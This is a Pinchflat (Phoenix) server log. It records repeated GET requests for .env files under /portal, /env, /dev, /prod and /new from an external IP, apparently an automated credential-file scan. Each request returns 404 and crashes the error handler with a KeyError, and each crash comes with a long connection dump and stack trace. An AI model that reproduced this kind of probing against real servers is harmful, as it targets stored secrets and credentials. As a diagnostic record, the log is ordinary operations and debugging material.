{"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/portal/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-god2AcZr5sAAOSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3221.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/portal/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49570}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /portal/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3221.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/portal/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49570}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3222.0>, params: %{}, path_info: ["portal", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forward (truncated) 21:08:40.167 [info] GET /env/.env 21:08:40.168 [debug] QUERY OK source="settings" db=0.3ms idle=127.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.168 [debug] QUERY OK source="settings" db=0.2ms idle=85.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.168 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.169 [error] #PID<0.3224.0> running PinchflatWeb.Endpoint (connection #PID<0.3223.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /env/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3223.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49576}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3224.0>, params: %{}, path_info: ["env", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/env/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-gujGoP-7uUAAOUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3223.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49576}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3223.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49576}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3224.0>, params: %{}, path_info: ["env", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:40.174 [info] GET /dev/.env 21:08:40.175 [debug] QUERY OK source="settings" db=0.3ms idle=91.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.175 [debug] QUERY OK source="settings" db=0.2ms idle=32.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.175 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.176 [error] #PID<0.3226.0> running PinchflatWeb.Endpoint (connection #PID<0.3225.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /dev/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dev/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3225.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49580}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3226.0>, params: %{}, path_info: ["dev", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/dev/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-gwLuobEdeoAAOWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3225.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49580}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dev/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3225.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49580}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3226.0>, params: %{}, path_info: ["dev", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:40.216 [info] GET /prod/.env 21:08:40.217 [debug] QUERY OK source="settings" db=0.4ms idle=73.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.217 [debug] QUERY OK source="settings" db=0.1ms idle=49.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.217 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.218 [error] #PID<0.3228.0> running PinchflatWeb.Endpoint (connection #PID<0.3227.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /prod/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /prod/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3227.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/prod/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49588}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3228.0>, params: %{}, path_info: ["prod", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/prod/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-g6UGZGRVSYAAOYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3227.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/prod/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49588}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /prod/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3227.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/prod/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49588}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3228.0>, params: %{}, path_info: ["prod", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https" (truncated) 21:08:40.228 [info] GET /new/.env 21:08:40.228 [debug] QUERY OK source="settings" db=0.1ms idle=59.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.228 [debug] QUERY OK source="settings" db=0.1ms idle=53.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.228 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.229 [error] #PID<0.3230.0> running PinchflatWeb.Endpoint (connection #PID<0.3229.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /new/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /new/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3229.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/new/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49592}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => 